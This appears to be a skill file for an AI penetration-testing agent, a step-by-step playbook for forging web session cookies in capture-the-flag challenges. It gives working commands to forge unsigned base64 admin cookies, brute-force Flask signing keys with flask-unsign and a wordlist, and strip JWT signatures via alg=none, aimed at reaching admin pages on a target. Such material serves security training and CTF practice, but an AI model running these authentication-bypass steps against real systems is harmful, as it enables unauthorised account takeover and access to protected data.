When to Use
- You found a session cookie and want to forge it
- BEFORE running flask-unsign or any brute-force tool
- When you need to bypass authentication via cookie manipulation
Step 1: Extract the cookie
curl -sI http://TARGET/ | grep -i set-cookie
Step 2: Identify cookie type
Test A: Base64 decode
echo '<cookie_value>' | base64 -d 2>/dev/null
# Also try URL-decoded version:
python3 -c "import base64,urllib.parse; print(base64.b64decode(urllib.parse.unquote('<cookie>')))"
If it decodes to valid JSON → UNSIGNED BASE64 (most common in CTF!)
- Attack: forge directly — takes 5 seconds
# Forge admin session
echo -n '{"user_id":1}' | base64
# Use as cookie:
curl -b 'session=eyJ1c2VyX2lkIjoxfQ==' http://TARGET/admin/flag
- Try variations:
echo -n '{"user_id":1}' | base64
echo -n '{"role":"admin"}' | base64
echo -n '{"is_admin":true}' | base64
echo -n '{"user_id":1,"role":"admin"}' | base64
echo -n '{"username":"admin"}' | base64
Test B: Flask itsdangerous signature
If the cookie has a . followed by a signature portion:
# Cookie looks like: eyJ...IjoxfQ.Xk2Ypg.dBV2_DkvOBP3...
flask-unsign --decode --cookie '<cookie>'
# If decode works → Flask signed cookie
flask-unsign --unsign --cookie '<cookie>' --wordlist /pentest/AboutSecurity/Dic/auth/flask/flask-secret-key.txt
Test C: JWT
If the cookie has three base64 parts separated by .:
# Header.Payload.Signature
echo '<first_part>' | base64 -d # Should show {"alg":"...","typ":"JWT"}
# → Use Skill(skill="jwt-attack-methodology")
Test D: Encrypted/Binary
If base64 decode produces garbage → encrypted cookie
- Need key or padding oracle attack
- Check source code for encryption key
Step 3: Common bypass patterns
- If unsigned: forge with user_id=1, role=admin, is_admin=true
- If Flask-signed: try common keys ('secret', app name, etc.)
- If JWT with alg=none: remove signature, set alg to "none"
- If JWT with HS256: try common secrets, check for JWKS endpoint
Critical Reminders
- NEVER run flask-unsign on unsigned cookies — wastes 25+ minutes and ALWAYS fails
- Always decode the cookie FIRST to determine its type
- Base64 JSON cookies are the most common type in CTF challenges
- Direct forgery takes 5 seconds vs brute-forcing takes 25+ minutes